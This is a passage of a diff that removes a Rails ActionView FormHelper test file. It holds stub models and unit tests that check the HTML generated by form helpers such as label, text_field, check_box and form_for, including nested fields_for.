-    alias_method :body_before_type_cast, :body unless respond_to?(:body_before_type_cast)
-    alias_method :author_name_before_type_cast, :author_name unless respond_to?(:author_name_before_type_cast)
-    alias_method :secret?, :secret
-
-    def new_record=(boolean)
-      @new_record = boolean
-    end
-
-    def new_record?
-      @new_record
-    end
-
-    attr_accessor :author
-    def author_attributes=(attributes); end
-
-    attr_accessor :comments
-    def comments_attributes=(attributes); end
-
-    attr_accessor :tags
-    def tags_attributes=(attributes); end
-  end
-
-  class Comment
-    attr_reader :id
-    attr_reader :post_id
-    def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
-    def save; @id = 1; @post_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def name
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-
-    attr_accessor :relevances
-    def relevances_attributes=(attributes); end
-
-  end
-
-  class Tag
-    attr_reader :id
-    attr_reader :post_id
-    def initialize(id = nil, post_id = nil); @id, @post_id = id, post_id end
-    def save; @id = 1; @post_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def value
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-
-    attr_accessor :relevances
-    def relevances_attributes=(attributes); end
-
-  end
-
-  class CommentRelevance
-    attr_reader :id
-    attr_reader :comment_id
-    def initialize(id = nil, comment_id = nil); @id, @comment_id = id, comment_id end
-    def save; @id = 1; @comment_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def value
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-  end
-
-  class TagRelevance
-    attr_reader :id
-    attr_reader :tag_id
-    def initialize(id = nil, tag_id = nil); @id, @tag_id = id, tag_id end
-    def save; @id = 1; @tag_id = 1 end
-    def new_record?; @id.nil? end
-    def to_param; @id; end
-    def value
-      @id.nil? ? "new #{self.class.name.downcase}" : "#{self.class.name.downcase} ##{@id}"
-    end
-  end
-
-  class Author < Comment
-    attr_accessor :post
-    def post_attributes=(attributes); end
-  end
-end
-
-class FormHelperTest < ActionView::TestCase
-  tests ActionView::Helpers::FormHelper
-
-  def setup
-    super
-
-    # Create "label" locale for testing I18n label helpers
-    I18n.backend.store_translations 'label', {
-      :helpers => {
-        :label => {
-          :post => {
-            :body => "Write entire text here"
-          }
-        }
-      }
-    }
-
-    @post = Post.new
-    @comment = Comment.new
-    def @post.errors()
-      Class.new{
-        def on(field); "can't be empty" if field == "author_name"; end
-        def empty?() false end
-        def count() 1 end
-        def full_messages() [ "Author name can't be empty" ] end
-      }.new
-    end
-    def @post.id; 123; end
-    def @post.id_before_type_cast; 123; end
-    def @post.to_param; '123'; end
-
-    @post.title       = "Hello World"
-    @post.author_name = ""
-    @post.body        = "Back to the hill and over it again!"
-    @post.secret      = 1
-    @post.written_on  = Date.new(2004, 6, 15)
-
-    def Post.human_attribute_name(attribute)
-      attribute.to_s == "cost" ? "Total cost" : attribute.to_s.humanize
-    end
-
-    @controller = Class.new do
-      attr_reader :url_for_options
-      def url_for(options)
-        @url_for_options = options
-        "http://www.example.com"
-      end
-    end
-    @controller = @controller.new
-  end
-
-  def test_label
-    assert_dom_equal('<label for="post_title">Title</label>', label("post", "title"))
-    assert_dom_equal('<label for="post_title">The title goes here</label>', label("post", "title", "The title goes here"))
-    assert_dom_equal(
-      '<label class="title_label" for="post_title">Title</label>',
-      label("post", "title", nil, :class => 'title_label')
-    )
-    assert_dom_equal('<label for="post_secret">Secret?</label>', label("post", "secret?"))
-  end
-
-  def test_label_with_symbols
-    assert_dom_equal('<label for="post_title">Title</label>', label(:post, :title))
-    assert_dom_equal('<label for="post_secret">Secret?</label>', label(:post, :secret?))
-  end
-
-  def test_label_with_locales_strings
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label("post", "body"))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_human_attribute_name
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_cost">Total cost</label>', label(:post, :cost))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_locales_symbols
-    old_locale, I18n.locale = I18n.locale, :label
-    assert_dom_equal('<label for="post_body">Write entire text here</label>', label(:post, :body))
-  ensure
-    I18n.locale = old_locale
-  end
-
-  def test_label_with_for_attribute_as_symbol
-    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, :for => "my_for"))
-  end
-
-  def test_label_with_for_attribute_as_string
-    assert_dom_equal('<label for="my_for">Title</label>', label(:post, :title, nil, "for" => "my_for"))
-  end
-
-  def test_label_with_id_attribute_as_symbol
-    assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, :id => "my_id"))
-  end
-
-  def test_label_with_id_attribute_as_string
-    assert_dom_equal('<label for="post_title" id="my_id">Title</label>', label(:post, :title, nil, "id" => "my_id"))
-  end
-
-  def test_label_with_for_and_id_attributes_as_symbol
-    assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, :for => "my_for", :id => "my_id"))
-  end
-
-  def test_label_with_for_and_id_attributes_as_string
-    assert_dom_equal('<label for="my_for" id="my_id">Title</label>', label(:post, :title, nil, "for" => "my_for", "id" => "my_id"))
-  end
-
-  def test_label_for_radio_buttons_with_value
-    assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great_title"))
-    assert_dom_equal('<label for="post_title_great_title">The title goes here</label>', label("post", "title", "The title goes here", :value => "great title"))
-  end
-
-  def test_text_field
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="password" value="Hello World" />', password_field("post", "title")
-    )
-    assert_dom_equal(
-      '<input id="person_name" name="person[name]" size="30" type="password" />', password_field("person", "name")
-    )
-  end
-
-  def test_text_field_with_escapes
-    @post.title = "<b>Hello World</b>"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="&lt;b&gt;Hello World&lt;/b&gt;" />', text_field("post", "title")
-    )
-  end
-
-  def test_text_field_with_html_entities
-    @post.title = "The HTML Entity for & is &amp;"
-    assert_dom_equal(
-      '<input id="post_title" name="post[title]" size="30" type="text" value="The HTML Entity for &amp; is &amp;amp;" />',
-      text_field("post", "title")
-    )
-  end
-
-  def test_text_field_with_options
-    expected = '<input id="post_title" name="post[title]" size="35" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "size" => 35)
-    assert_dom_equal expected, text_field("post", "title", :size => 35)
-  end
-
-  def test_text_field_assuming_size
-    expected = '<input id="post_title" maxlength="35" name="post[title]" size="35" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35)
-    assert_dom_equal expected, text_field("post", "title", :maxlength => 35)
-  end
-
-  def test_text_field_removing_size
-    expected = '<input id="post_title" maxlength="35" name="post[title]" type="text" value="Hello World" />'
-    assert_dom_equal expected, text_field("post", "title", "maxlength" => 35, "size" => nil)
-    assert_dom_equal expected, text_field("post", "title", :maxlength => 35, :size => nil)
-  end
-
-  def test_text_field_doesnt_change_param_values
-    object_name = 'post[]'
-    expected = '<input id="post_123_title" name="post[123][title]" size="30" type="text" value="Hello World" />'
-    assert_equal expected, text_field(object_name, "title")
-    assert_equal object_name, "post[]"
-  end
-
-  def test_hidden_field
-    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Hello World" />',
-      hidden_field("post", "title")
-      assert_dom_equal '<input id="post_secret" name="post[secret]" type="hidden" value="1" />',
-        hidden_field("post", "secret?")
-  end
-
-  def test_hidden_field_with_escapes
-    @post.title = "<b>Hello World</b>"
-    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="&lt;b&gt;Hello World&lt;/b&gt;" />',
-      hidden_field("post", "title")
-  end
-
-  def test_hidden_field_with_options
-    assert_dom_equal '<input id="post_title" name="post[title]" type="hidden" value="Something Else" />',
-      hidden_field("post", "title", :value => "Something Else")
-  end
-
-  def test_check_box
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    @post.secret = 0
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret" ,{"checked"=>"checked"})
-    )
-    @post.secret = true
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret?")
-    )
-
-    @post.secret = ['0']
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-    @post.secret = ['1']
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret")
-    )
-  end
-
-  def test_check_box_with_explicit_checked_and_unchecked_values
-    @post.secret = "on"
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="off" /><input checked="checked" id="post_secret" name="post[secret]" type="checkbox" value="on" />',
-      check_box("post", "secret", {}, "on", "off")
-    )
-  end
-
-  def test_checkbox_disabled_still_submits_checked_value
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="1" /><input checked="checked" disabled="disabled" id="post_secret" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", { :disabled => :true })
-    )
-  end
-
-  def test_radio_button
-    assert_dom_equal('<input checked="checked" id="post_title_hello_world" name="post[title]" type="radio" value="Hello World" />',
-      radio_button("post", "title", "Hello World")
-    )
-    assert_dom_equal('<input id="post_title_goodbye_world" name="post[title]" type="radio" value="Goodbye World" />',
-      radio_button("post", "title", "Goodbye World")
-    )
-    assert_dom_equal('<input id="item_subobject_title_inside_world" name="item[subobject][title]" type="radio" value="inside world"/>',
-      radio_button("item[subobject]", "title", "inside world")
-    )
-  end
-
-  def test_radio_button_is_checked_with_integers
-    assert_dom_equal('<input checked="checked" id="post_secret_1" name="post[secret]" type="radio" value="1" />',
-      radio_button("post", "secret", "1")
-   )
-  end
-
-  def test_radio_button_respects_passed_in_id
-     assert_dom_equal('<input checked="checked" id="foo" name="post[secret]" type="radio" value="1" />',
-       radio_button("post", "secret", "1", :id=>"foo")
-    )
-  end
-
-  def test_radio_button_with_booleans
-    assert_dom_equal('<input id="post_secret_true" name="post[secret]" type="radio" value="true" />',
-      radio_button("post", "secret", true)
-    )
-
-    assert_dom_equal('<input id="post_secret_false" name="post[secret]" type="radio" value="false" />',
-      radio_button("post", "secret", false)
-    )
-  end
-
-  def test_text_area
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_escapes
-    @post.body        = "Back to <i>the</i> hill and over it again!"
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Back to &lt;i&gt;the&lt;/i&gt; hill and over it again!</textarea>',
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_alternate_value
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">Testing alternate values.</textarea>',
-      text_area("post", "body", :value => 'Testing alternate values.')
-    )
-  end
-
-  def test_text_area_with_html_entities
-    @post.body        = "The HTML Entity for & is &amp;"
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="post[body]" rows="20">The HTML Entity for &amp; is &amp;amp;</textarea>',
-      text_area("post", "body")
-    )
-  end
-
-  def test_text_area_with_size_option
-    assert_dom_equal(
-      '<textarea cols="183" id="post_body" name="post[body]" rows="820">Back to the hill and over it again!</textarea>',
-      text_area("post", "body", :size => "183x820")
-    )
-  end
-
-  def test_explicit_name
-    assert_dom_equal(
-      '<input id="post_title" name="dont guess" size="30" type="text" value="Hello World" />', text_field("post", "title", "name" => "dont guess")
-    )
-    assert_dom_equal(
-      '<textarea cols="40" id="post_body" name="really!" rows="20">Back to the hill and over it again!</textarea>',
-      text_area("post", "body", "name" => "really!")
-    )
-    assert_dom_equal(
-      '<input name="i mean it" type="hidden" value="0" /><input checked="checked" id="post_secret" name="i mean it" type="checkbox" value="1" />',
-      check_box("post", "secret", "name" => "i mean it")
-    )
-    assert_dom_equal text_field("post", "title", "name" => "dont guess"),
-                 text_field("post", "title", :name => "dont guess")
-    assert_dom_equal text_area("post", "body", "name" => "really!"),
-                 text_area("post", "body", :name => "really!")
-    assert_dom_equal check_box("post", "secret", "name" => "i mean it"),
-                 check_box("post", "secret", :name => "i mean it")
-  end
-
-  def test_explicit_id
-    assert_dom_equal(
-      '<input id="dont guess" name="post[title]" size="30" type="text" value="Hello World" />', text_field("post", "title", "id" => "dont guess")
-    )
-    assert_dom_equal(
-      '<textarea cols="40" id="really!" name="post[body]" rows="20">Back to the hill and over it again!</textarea>',
-      text_area("post", "body", "id" => "really!")
-    )
-    assert_dom_equal(
-      '<input name="post[secret]" type="hidden" value="0" /><input checked="checked" id="i mean it" name="post[secret]" type="checkbox" value="1" />',
-      check_box("post", "secret", "id" => "i mean it")
-    )
-    assert_dom_equal text_field("post", "title", "id" => "dont guess"),
-                 text_field("post", "title", :id => "dont guess")
-    assert_dom_equal text_area("post", "body", "id" => "really!"),
-                 text_area("post", "body", :id => "really!")
-    assert_dom_equal check_box("post", "secret", "id" => "i mean it"),
-                 check_box("post", "secret", :id => "i mean it")
-  end
-
-  def test_auto_index
-    pid = @post.id
-    assert_dom_equal(
-      "<label for=\"post_#{pid}_title\">Title</label>",
-      label("post[]", "title")
-    )
-    assert_dom_equal(
-      "<input id=\"post_#{pid}_title\" name=\"post[#{pid}][title]\" size=\"30\" type=\"text\" value=\"Hello World\" />", text_field("post[]","title")
-    )
-    assert_dom_equal(
-      "<textarea cols=\"40\" id=\"post_#{pid}_body\" name=\"post[#{pid}][body]\" rows=\"20\">Back to the hill and over it again!</textarea>",
-      text_area("post[]", "body")
-    )
-    assert_dom_equal(
-      "<input name=\"post[#{pid}][secret]\" type=\"hidden\" value=\"0\" /><input checked=\"checked\" id=\"post_#{pid}_secret\" name=\"post[#{pid}][secret]\" type=\"checkbox\" value=\"1\" />",
-      check_box("post[]", "secret")
-    )
-   assert_dom_equal(
-"<input checked=\"checked\" id=\"post_#{pid}_title_hello_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Hello World\" />",
-      radio_button("post[]", "title", "Hello World")
-    )
-    assert_dom_equal("<input id=\"post_#{pid}_title_goodbye_world\" name=\"post[#{pid}][title]\" type=\"radio\" value=\"Goodbye World\" />",
-      radio_button("post[]", "title", "Goodbye World")
-    )
-  end
-
-  def test_form_for
-    form_for(:post, @post, :html => { :id => 'create-post' }) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-      concat f.submit('Create post')
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<label for='post_title'>Title</label>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "<input name='commit' id='post_submit' type='submit' value='Create post' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_method
-    form_for(:post, @post, :html => { :id => 'create-post', :method => :put }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<div style='margin:0;padding:0;display:inline'><input name='_method' type='hidden' value='put' /></div>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_without_object
-    form_for(:post, :html => { :id => 'create-post' }) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' id='create-post' method='post'>" +
-      "<input name='post[title]' size='30' type='text' id='post_title' value='Hello World' />" +
-      "<textarea name='post[body]' id='post_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[secret]' type='hidden' value='0' />" +
-      "<input name='post[secret]' checked='checked' type='checkbox' id='post_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_index
-    form_for("post[]", @post) do |f|
-      concat f.label(:title)
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<label for=\"post_123_title\">Title</label>" +
-      "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-      "<textarea name='post[123][body]' id='post_123_body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[123][secret]' type='hidden' value='0' />" +
-      "<input name='post[123][secret]' checked='checked' type='checkbox' id='post_123_secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_nil_index_option_override
-    form_for("post[]", @post, :index => nil) do |f|
-      concat f.text_field(:title)
-      concat f.text_area(:body)
-      concat f.check_box(:secret)
-    end
-
-    expected =
-      "<form action='http://www.example.com' method='post'>" +
-      "<input name='post[][title]' size='30' type='text' id='post__title' value='Hello World' />" +
-      "<textarea name='post[][body]' id='post__body' rows='20' cols='40'>Back to the hill and over it again!</textarea>" +
-      "<input name='post[][secret]' type='hidden' value='0' />" +
-      "<input name='post[][secret]' checked='checked' type='checkbox' id='post__secret' value='1' />" +
-      "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for
-    form_for(:post, @post) do |f|
-      f.fields_for(:comment, @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[comment][title]' size='30' type='text' id='post_comment_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_nested_collections
-    form_for('post[]', @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for('comment[]', @comment) do |c|
-        concat c.text_field(:name)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][title]' size='30' type='text' id='post_123_title' value='Hello World' />" +
-               "<input name='post[123][comment][][name]' size='30' type='text' id='post_123_comment__name' value='new comment' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_and_parent_fields
-    form_for('post', @post, :index => 1) do |c|
-      concat c.text_field(:title)
-      c.fields_for('comment', @comment, :index => 1) do |r|
-        concat r.text_field(:name)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][title]' size='30' type='text' id='post_1_title' value='Hello World' />" +
-               "<input name='post[1][comment][1][name]' size='30' type='text' id='post_1_comment_1_name' value='new comment' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_form_for_with_index_and_nested_fields_for
-    form_for(:post, @post, :index => 1) do |f|
-      f.fields_for(:comment, @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][comment][title]' size='30' type='text' id='post_1_comment_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_on_both
-    form_for(:post, @post, :index => 1) do |f|
-      f.fields_for(:comment, @post, :index => 5) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][comment][5][title]' size='30' type='text' id='post_1_comment_5_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_auto_index
-    form_for("post[]", @post) do |f|
-      f.fields_for(:comment, @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][comment][title]' size='30' type='text' id='post_123_comment_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_radio_button
-    form_for(:post, @post) do |f|
-      f.fields_for(:comment, @post, :index => 5) do |c|
-        concat c.radio_button(:title, "hello")
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[comment][5][title]' type='radio' id='post_comment_5_title_hello' value='hello' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_auto_index_on_both
-    form_for("post[]", @post) do |f|
-      f.fields_for("comment[]", @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][comment][123][title]' size='30' type='text' id='post_123_comment_123_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_index_and_auto_index
-    form_for("post[]", @post) do |f|
-      f.fields_for(:comment, @post, :index => 5) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    form_for(:post, @post, :index => 1) do |f|
-      f.fields_for("comment[]", @post) do |c|
-        concat c.text_field(:title)
-      end
-    end
-
-    expected = "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[123][comment][5][title]' size='30' type='text' id='post_123_comment_5_title' value='Hello World' />" +
-               "</form>" +
-               "<form action='http://www.example.com' method='post'>" +
-               "<input name='post[1][comment][123][title]' size='30' type='text' id='post_1_comment_123_title' value='Hello World' />" +
-               "</form>"
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_a_new_record_on_a_nested_attributes_one_to_one_association
-    @post.author = Author.new
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:author) do |af|
-        concat af.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="new author" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_explicitly_passed_object_on_a_nested_attributes_one_to_one_association
-    form_for(:post, @post) do |f|
-      f.fields_for(:author, Author.new(123)) do |af|
-        assert_not_nil af.object
-        assert_equal 123, af.object.id
-      end
-    end
-  end
-
-  def test_nested_fields_for_with_an_existing_record_on_a_nested_attributes_one_to_one_association
-    @post.author = Author.new(321)
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:author) do |af|
-        concat af.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
-               '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-  
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_one_to_one_association_with_explicit_hidden_field_placement
-    @post.author = Author.new(321)
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:author) do |af|
-        concat af.hidden_field(:id)
-        concat af.text_field(:name)
-      end
-    end
-    
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_author_attributes_id" name="post[author_attributes][id]" type="hidden" value="321" />' +
-               '<input id="post_author_attributes_name" name="post[author_attributes][name]" size="30" type="text" value="author #321" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.text_field(:name)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
-               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_nested_attributes_collection_association_with_explicit_hidden_field_placement
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.hidden_field(:id)
-          concat cf.text_field(:name)
-        end
-      end
-    end
-    
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new, Comment.new]
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.text_field(:name)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="new comment" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_and_new_records_on_a_nested_attributes_collection_association
-    @post.comments = [Comment.new(321), Comment.new]
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      @post.comments.each do |comment|
-        f.fields_for(:comments, comment) do |cf|
-          concat cf.text_field(:name)
-        end
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #321" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="321" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="new comment" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_an_empty_supplied_attributes_collection
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments, []) do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '</form>'
-
-    assert_dom_equal expected, output_buffer
-  end
-
-  def test_nested_fields_for_with_existing_records_on_a_supplied_nested_attributes_collection
-    @post.comments = Array.new(2) { |id| Comment.new(id + 1) }
-
-    form_for(:post, @post) do |f|
-      concat f.text_field(:title)
-      f.fields_for(:comments, @post.comments) do |cf|
-        concat cf.text_field(:name)
-      end
-    end
-
-    expected = '<form action="http://www.example.com" method="post">' +
-               '<input name="post[title]" size="30" type="text" id="post_title" value="Hello World" />' +
-               '<input id="post_comments_attributes_0_name" name="post[comments_attributes][0][name]" size="30" type="text" value="comment #1" />' +
-               '<input id="post_comments_attributes_0_id" name="post[comments_attributes][0][id]" type="hidden" value="1" />' +
-               '<input id="post_comments_attributes_1_name" name="post[comments_attributes][1][name]" size="30" type="text" value="comment #2" />' +
-               '<input id="post_comments_attributes_1_id" name="post[comments_attributes][1][id]" type="hidden" value="2" />' +
-               '</form>'
-
